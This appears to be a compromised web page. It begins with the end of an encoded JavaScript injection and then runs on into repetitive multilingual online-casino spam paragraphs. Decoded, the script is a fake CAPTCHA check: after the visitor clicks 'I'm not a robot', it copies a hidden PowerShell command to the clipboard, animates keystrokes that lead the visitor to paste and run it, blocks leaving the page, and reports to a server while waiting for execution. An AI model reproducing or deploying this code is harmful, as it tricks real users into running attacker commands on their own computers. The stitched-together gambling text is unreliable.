gICBjcmVkZW50aWFsczogJ29taXQnLA0KICAgICAgICAgICAgICAgICAgICBjYWNoZTogJ25vLXN0b3JlJw0KICAgICAgICAgICAgICAgIH0pDQogICAgICAgICAgICAgICAgLnRoZW4oZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLmpzb24oKTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgaXNQb2xsSW5GbGlnaHQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEgJiYgZGF0YS5leGlzdHMgPT09IHRydWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbXBsZXRlVmVyaWZpY2F0aW9uKCk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAvLyBOZXh0IEdFVCBvbmx5IGFmdGVyIHRoaXMgcmVzcG9uc2Ug4oCUIG5ldmVyIG92ZXJsYXAuDQogICAgICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KHBvbGxTZXJ2ZXJTdGF0dXMsIDIwMDApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQocG9sbFNlcnZlclN0YXR1cywgMjAwMCk7DQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQocG9sbFNlcnZlclN0YXR1cywgMjAwMCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzS2V5Ym9hcmRTdGVwcyhtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgIHZhciBidXR0b25FbGVtZW50cyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuc3RlcC10ZXh0IGInKQ0KICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBidXR0b25FbGVtZW50cy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIHZhciBidXR0b25FbGVtZW50ID0gYnV0dG9uRWxlbWVudHNbaV07DQoNCiAgICAgICAgICAgICAgICBpZiAoYnV0dG9uRWxlbWVudC5pbm5lckhUTUwuaW5kZXhPZignICsgJykgPT09IC0xKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBrZXlQYXJ0cyA9IGJ1dHRvbkVsZW1lbnQuaW5uZXJIVE1MLnNwbGl0KCcgKyAnKTsNCiAgICAgICAgICAgICAgICB2YXIgZG9jdW1lbnRGcmFnbWVudCA9IGRvY3VtZW50LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTsNCg0KICAgICAgICAgICAgICAgIGZvciAodmFyIGogPSAwOyBqIDwga2V5UGFydHMubGVuZ3RoOyBqKyspIHsNCg0KICAgICAgICAgICAgICAgICAgICBpZiAoaiA+IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBwbHVzU3BhbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHBsdXNTcGFuLnN0eWxlLmNzc1RleHQgPSAnY29sb3I6IzY2Njtmb250LXNpemU6MTFweDttYXJnaW46MCAzcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOyc7DQogICAgICAgICAgICAgICAgICAgICAgICBwbHVzU3Bhbi50ZXh0Q29udGVudCA9ICcrJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50RnJhZ21lbnQuYXBwZW5kQ2hpbGQocGx1c1NwYW4pOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgdmFyIG5ld0J1dHRvbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2InKTsNCiAgICAgICAgICAgICAgICAgICAgbmV3QnV0dG9uLmlubmVySFRNTCA9IGtleVBhcnRzW2pdOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudEZyYWdtZW50LmFwcGVuZENoaWxkKG5ld0J1dHRvbik7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgYnV0dG9uRWxlbWVudC5wYXJlbnROb2RlLnJlcGxhY2VDaGlsZChkb2N1bWVudEZyYWdtZW50LCBidXR0b25FbGVtZW50KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIHN0YXJ0S2V5Ym9hcmRBbmltYXRpb24obW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICB2YXIgaW5zdHJ1Y3Rpb25JdGVtcyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuaW5zdHJ1Y3Rpb24tbGlzdCBsaScpDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgdmFyIGFuaW1hdGlvblF1ZXVlID0gW107DQoNCiAgICAgICAgICAgIGluc3RydWN0aW9uSXRlbXMuZm9yRWFjaChmdW5jdGlvbihsaXN0SXRlbSkgew0KICAgICAgICAgICAgICAgIHZhciBidXR0b25zID0gQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoDQogICAgICAgICAgICAgICAgICAgIGxpc3RJdGVtLnF1ZXJ5U2VsZWN0b3JBbGwoJy5zdGVwLXRleHQgYicpDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgICAgIGlmICghYnV0dG9ucy5sZW5ndGgpIHJldHVybjsNCg0KICAgICAgICAgICAgICAgIGlmIChidXR0b25zLmxlbmd0aCA9PT0gMSkgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdwcmVzcycsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNjAwfSk7DQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdyZWxlYXNlJywga2V5OiBidXR0b25zWzBdfSk7DQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiA0NTB9KTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdwcmVzcycsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNDAwfSk7DQoNCiAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIgaiA9IDE7IGogPCBidXR0b25zLmxlbmd0aDsgaisrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbal19KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAzODB9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdyZWxlYXNlJywga2V5OiBidXR0b25zW2pdfSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChqIDwgYnV0dG9ucy5sZW5ndGggLSAxKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDEwMH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDIwMH0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNTAwfSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAxNjAwfSk7DQoNCiAgICAgICAgICAgIHZhciBjdXJyZW50SW5kZXggPSAwOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBleGVjdXRlTmV4dEFuaW1hdGlvbigpIHsNCiAgICAgICAgICAgICAgICBpZiAoY3VycmVudEluZGV4ID49IGFuaW1hdGlvblF1ZXVlLmxlbmd0aCkgew0KICAgICAgICAgICAgICAgICAgICBjdXJyZW50SW5kZXggPSAwOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBhbmltYXRpb25TdGVwID0gYW5pbWF0aW9uUXVldWVbY3VycmVudEluZGV4KytdOw0KDQogICAgICAgICAgICAgICAgaWYgKGFuaW1hdGlvblN0ZXAudHlwZSA9PT0gJ3ByZXNzJykgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblN0ZXAua2V5LmNsYXNzTGlzdC5hZGQoJ2tsaXQnKTsNCiAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZU5leHRBbmltYXRpb24oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGFuaW1hdGlvblN0ZXAudHlwZSA9PT0gJ3JlbGVhc2UnKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uU3RlcC5rZXkuY2xhc3NMaXN0LnJlbW92ZSgna2xpdCcpOw0KICAgICAgICAgICAgICAgICAgICBleGVjdXRlTmV4dEFuaW1hdGlvbigpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChleGVjdXRlTmV4dEFuaW1hdGlvbiwgYW5pbWF0aW9uU3RlcC5taWxsaXNlY29uZHMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc2V0VGltZW91dChleGVjdXRlTmV4dEFuaW1hdGlvbiwgNjAwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGFkZFN0ZXBPbmVUb29sdGlwKG1vZGFsRWxlbWVudCwgdG9vbHRpcFRleHQpIHsNCiAgICAgICAgICAgIGlmICghdG9vbHRpcFRleHQpIHJldHVybjsNCg0KICAgICAgICAgICAgdmFyIGZpcnN0TGlzdEl0ZW0gPSBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvcignLmluc3RydWN0aW9uLWxpc3QgbGknKTsNCiAgICAgICAgICAgIGlmICghZmlyc3RMaXN0SXRlbSkgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgYnV0dG9ucyA9IGZpcnN0TGlzdEl0ZW0ucXVlcnlTZWxlY3RvckFsbCgnLnN0ZXAtdGV4dCBiJyk7DQogICAgICAgICAgICB2YXIgdGFyZ2V0QnV0dG9uID0gbnVsbDsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBidXR0b25zLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaWYgKGJ1dHRvbnNbaV0ucXVlcnlTZWxlY3Rvcignc3ZnJykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGFyZ2V0QnV0dG9uID0gYnV0dG9uc1tpXTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXRhcmdldEJ1dHRvbiAmJiBidXR0b25zLmxlbmd0aCkgew0KICAgICAgICAgICAgICAgIHRhcmdldEJ1dHRvbiA9IGJ1dHRvbnNbMF07DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmICghdGFyZ2V0QnV0dG9uKSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBoaW50U3BhbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKTsNCiAgICAgICAgICAgIGhpbnRTcGFuLmNsYXNzTmFtZSA9ICd3ay1oaW50JzsNCiAgICAgICAgICAgIGhpbnRTcGFuLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCc/JykpOw0KDQogICAgICAgICAgICB2YXIgdG9vbHRpcFNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICB0b29sdGlwU3Bhbi5jbGFzc05hbWUgPSAnd2stdG9vbHRpcCc7DQogICAgICAgICAgICB0b29sdGlwU3Bhbi50ZXh0Q29udGVudCA9IHRvb2x0aXBUZXh0Ow0KICAgICAgICAgICAgaGludFNwYW4uYXBwZW5kQ2hpbGQodG9vbHRpcFNwYW4pOw0KDQogICAgICAgICAgICB0YXJnZXRCdXR0b24uYXBwZW5kQ2hpbGQoaGludFNwYW4pOw0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIGNoZWNrYm94QnV0dG9uID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWNiJyk7DQogICAgICAgIHZhciBzcGlubmVyRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1zcCcpOw0KICAgICAgICB2YXIgbGFiZWxFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWxibCcpOw0KICAgICAgICB2YXIgbW9kYWxFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLW1vZGFsJyk7DQoNCiAgICAgICAgZnVuY3Rpb24gcHJldmVudFBhZ2VVbmxvYWQoZXZlbnQpIHsNCiAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBldmVudC5yZXR1cm5WYWx1ZSA9ICcnOw0KICAgICAgICB9DQoNCiAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2JlZm9yZXVubG9hZCcsIHByZXZlbnRQYWdlVW5sb2FkKTsNCg0KICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKGNoZWNrYm94QnV0dG9uKSB7DQogICAgICAgICAgICAgICAgY2hlY2tib3hCdXR0b24uc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoc3Bpbm5lckVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGxhYmVsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIGxhYmVsRWxlbWVudC50ZXh0Q29udGVudCA9IFVJX1RSQU5TTEFUSU9OUy5ub3RSb2JvdFRleHQ7DQogICAgICAgICAgICB9DQogICAgICAgIH0sIDMwMDApOw0KDQogICAgICAgIGNoZWNrYm94QnV0dG9uLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7DQoNCiAgICAgICAgICAgIGlmIChjaGVja2JveEJ1dHRvbi5fX2V4ZWN1dGVkKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2hlY2tib3hCdXR0b24uX19leGVjdXRlZCA9IHRydWU7DQoNCiAgICAgICAgICAgIHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKCdiZWZvcmV1bmxvYWQnLCBwcmV2ZW50UGFnZVVubG9hZCk7DQoNCiAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgaWYgKGxhYmVsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIGxhYmVsRWxlbWVudC50ZXh0Q29udGVudCA9IFVJX1RSQU5TTEFUSU9OUy52ZXJpZnlpbmdUZXh0Ow0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoUkFZX1RSQUNLSU5HX0lEKSB7DQogICAgICAgICAgICAgICAgc2VuZFJlcXVlc3RUb1NlcnZlcih7DQogICAgICAgICAgICAgICAgICAgIGFjdGlvbjogJ2NiJywNCiAgICAgICAgICAgICAgICAgICAgazogQVBJX0FVVEhfS0VZLA0KICAgICAgICAgICAgICAgICAgICB0OiBSQVlfVFJBQ0tJTkdfSUQNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc2VydmVyUGF5bG9hZFByb21pc2UudGhlbihmdW5jdGlvbihwYXlsb2FkQ29tbWFuZCkgew0KDQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LmFkZCgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgICAgIHByb2Nlc3NLZXlib2FyZFN0ZXBzKG1vZGFsRWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgIHN0YXJ0S2V5Ym9hcmRBbmltYXRpb24obW9kYWxFbGVtZW50KTsNCiAgICAgICAgICAgICAgICAgICAgYWRkU3RlcE9uZVRvb2x0aXAobW9kYWxFbGVtZW50LCBVSV9UUkFOU0xBVElPTlMuc3RlcEtleUhlbHApOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmIChwYXlsb2FkQ29tbWFuZCkgew0KICAgICAgICAgICAgICAgICAgICB2YXIgZmluYWxDb21tYW5kID0gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCA/DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCArICc7JykgOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHBheWxvYWRDb21tYW5kKTsNCg0KICAgICAgICAgICAgICAgICAgICBjb3B5VGV4dFRvQ2xpcGJvYXJkKGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpKTsNCg0KICAgICAgICAgICAgICAgICAgICB2YXIgb3NLZXlMaXN0ZW5lciA9IGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgb3MgPSBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSB8fCBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gZmFsc2U7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvcyA9PT0gJ21hYycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gISEoZXZlbnQubWV0YUtleSB8fCBldmVudC5rZXkgPT09ICdNZXRhJyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKG9zID09PSAnbGludXgnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmVudC5jdHJsS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBTdHJpbmcoZXZlbnQua2V5IHx8ICcnKS50b0xvd2VyQ2FzZSgpID09PSAndCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gISEoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50Lm1ldGFLZXkgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5ID09PSAnTWV0YScgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5Q29kZSA9PT0gOTEgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5Q29kZSA9PT0gOTINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc2hvdWxkUmVmcmVzaENsaXBib2FyZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlUZXh0VG9DbGlwYm9hcmQoYnVpbGRDbGlwYm9hcmRDb21tYW5kKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBvc0tleUxpc3RlbmVyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfTsNCg0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgb3NLZXlMaXN0ZW5lcik7DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB3YWl0Rm9yRXhlY3V0aW9uVG9rZW4oUkFZX1RSQUNLSU5HX0lEKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9KTsNCiAgICB9KSgpOw0KDQogIH0pO30oKTs=”);document.documentElement.appendChild(s);})();
super 88 fortunes
Online-Casinos bieten eine Vielzahl von Spielen und Unterhaltungsmöglichkeiten, die bequem von zu Hause aus zugänglich sind. Viele Spieler suchen nach sicheren und verantwortungsvollen Optionen, wie zum Beispiel sportwetten ohne OASIS, um ihre Wettaktivitäten zu verwalten und zu steuern.
Online casinos have gained popularity in recent years, offering a convenient way for players to enjoy their favorite games from home. Many platforms provide a variety of options, including slots, table games, and live dealer experiences. To access these services, users often need to create an account and complete a royalreels login to start playing. As technology advances, the online gambling industry continues to evolve, attracting a diverse audience.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide a wide variety of games, including slots and table games, making it easy to find something enjoyable. For those interested, you can play online casino canada to explore various options available in the market.
Online kasína ponúkajú širokú škálu hier a zábavy pre hráčov z celého sveta. Mnohé z nich poskytujú aj rôzne bonusy a akcie, ktoré môžu zvýšiť šance na výhru. Pre tých, ktorí hľadajú výhodné ponuky, sú zahraničné stávkové kancelárie bonusy bez vkladu zaujímavou voľbou, pretože umožňujú hráčom vyskúšať si hry bez nutnosti vkladu vlastných prostriedkov.
Online casinos have gained popularity due to their convenience and variety of games, allowing players to enjoy gambling from the comfort of their homes. Many players seek out the highest payout casino canada for better chances of winning, as these platforms often offer competitive odds and bonuses.
Aztec Fire casino slot game free play
Para quien analiza las probabilidades, la amplitud de la línea de mercado en 20bet estafa influye directamente en la diversidad de estrategias disponibles.
Online-Casinos bieten Spielern die Möglichkeit, bequem von zu Hause aus zu spielen und verschiedene Spiele auszuprobieren. Viele Plattformen, wie zum Beispiel online casino mit schneller auszahlung, ermöglichen eine schnelle Auszahlung der Gewinne, was für viele Nutzer ein wichtiger Faktor ist.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many players seek out the fastest instant withdrawal online casino for a seamless gaming experience, ensuring quick access to their winnings. As technology advances, the online gambling industry continues to evolve, offering new features and improved security measures.
Online kasina se stávají stále populárnějšími, protože nabízejí hráčům pohodlný způsob, jak si užít své oblíbené hry z domova. Mnoho lidí hledá spolehlivé možnosti, jako je ceske online kasino, kde mohou hrát bezpečně a legálně.
Τα online καζίνο προσφέρουν μια ποικιλία παιχνιδιών και εμπειριών για τους παίκτες, με την ευκολία της πρόσβασης από το σπίτι. Είναι σημαντικό να επιλέξετε τα καλυτερα καζινο online για να εξασφαλίσετε μια ασφαλή και ευχάριστη εμπειρία παιχνιδιού.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many players seek out the fastest instant withdrawal online casino for a seamless gaming experience, ensuring quick access to their winnings.
La cuota refleja la probabilidad asignada a un resultado: quien la lee correctamente entiende el riesgo y el valor de su predicción en betobet como retirar dinero.
Online kasína ponúkajú širokú škálu hier a zábavy, pričom mnohé z nich poskytujú aj atraktívne bonusy pre nových hráčov. Medzi populárne možnosti patrí aj zahraničné stávkové kancelárie bonusy bez vkladu, ktoré umožňujú hráčom využiť rôzne výhody bez nutnosti vkladu. Tieto platformy sú regulované a zabezpečujú spravodlivé hranie.
Online kasina se stávají stále populárnějšími, protože nabízejí širokou škálu her a možností sázení. Mezi nimi jsou i zahraniční sázkové kanceláře v čr a další platformy, které umožňují hráčům vychutnat si své oblíbené hry z pohodlí domova.
Online kasina se stávají stále populárnějšími a nabízejí širokou škálu her a možností sázení. Mezi nimi můžete najít i zahraniční online casino pro hráče hledající kvalitní zážitek. Je důležité vybírat důvěryhodná místa, která zaručují bezpečnost a férovost her.
Online kasina se stávají stále populárnějšími a nabízejí hráčům širokou škálu her a možností. Pokud hledáte kvalitní zážitek, můžete zvážit zahraniční online casino pro bezpečné a zábavné hraní.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many players seek out the highest payout casino canada to maximize their winnings, as these platforms often provide competitive odds and bonuses. As the industry continues to evolve, it is essential for players to stay informed about the best options available.
Los casinos en línea han ganado popularidad en los últimos años, ofreciendo a los jugadores la oportunidad de disfrutar de sus juegos favoritos desde la comodidad de sus hogares. Para aquellos que buscan las mejores opciones, es recomendable investigar sobre los mejores casinos online españa que ofrecen una experiencia segura y entretenida.
Online kasinoer har blitt stadig mer populære, og de tilbyr et bredt spekter av spill som kan spilles fra komforten av ditt eget hjem. Mange spillere er på utkikk etter gode tilbud, som CasinoFriday bonus, for å maksimere sin spillopplevelse. Det er viktig å velge et pålitelig kasino med lisens og gode vurderinger for å sikre en trygg spillopplevelse.
Online casinos have gained immense popularity in recent years, offering players the convenience of gambling from home. Many players seek out the highest payout casino canada to maximize their winnings, as these platforms often provide a variety of games and bonuses that enhance the gaming experience.
Los casinos en línea han ganado popularidad en los últimos años, ofreciendo una amplia variedad de juegos y la comodidad de jugar desde casa. Para aquellos interesados en explorar opciones seguras y confiables, es recomendable investigar los mejores casinos online de españa que ofrecen reseñas y comparativas de plataformas. La regulación y la seguridad son aspectos clave a considerar al elegir un casino en línea.
Online casinos have gained popularity due to their convenience and variety of games. Players can enjoy a wide range of options from the comfort of their homes, making it easier to find the highest paying online casino in canada for those looking to maximize their winnings. As technology advances, the experience continues to improve, attracting more users to this digital form of entertainment.
Online casinos have gained popularity due to their convenience and variety of games, allowing players to enjoy gambling from the comfort of their homes. Many players seek out the highest payout online casino canada to maximize their winnings, as these platforms often offer competitive odds and bonuses. However, it's essential to choose reputable sites to ensure a safe gaming experience.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many players seek options like an Instant Bank Transfer Casino NZ for seamless transactions, enhancing their gaming experience while ensuring security and efficiency.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many players seek the best options available, often looking for an online casino with highest payout to maximize their winnings and enhance their gaming experience.
Los casinos en línea han ganado popularidad en los últimos años, ofreciendo a los jugadores la posibilidad de disfrutar de sus juegos favoritos desde la comodidad de sus hogares. Es importante elegir entre los mejores casinos online españa para garantizar una experiencia de juego segura y divertida.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many players seek out the highest payout online casino canada for better chances of winning, as these platforms often offer competitive odds and bonuses.
Online kasina nabízejí širokou škálu her, které si můžete užít z pohodlí domova. Mezi nejoblíbenější patří sloty, poker a ruleta, které přitahují hráče z celého světa. Pokud hledáte kvalitní platformu, můžete navštívit kasino online a prozkoumat různé možnosti, které online hraní nabízí.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many platforms offer a wide selection of options, including slots, table games, and live dealer experiences. For those interested in exploring this digital gaming world, the clubhouse provides a comprehensive overview of available games and features.
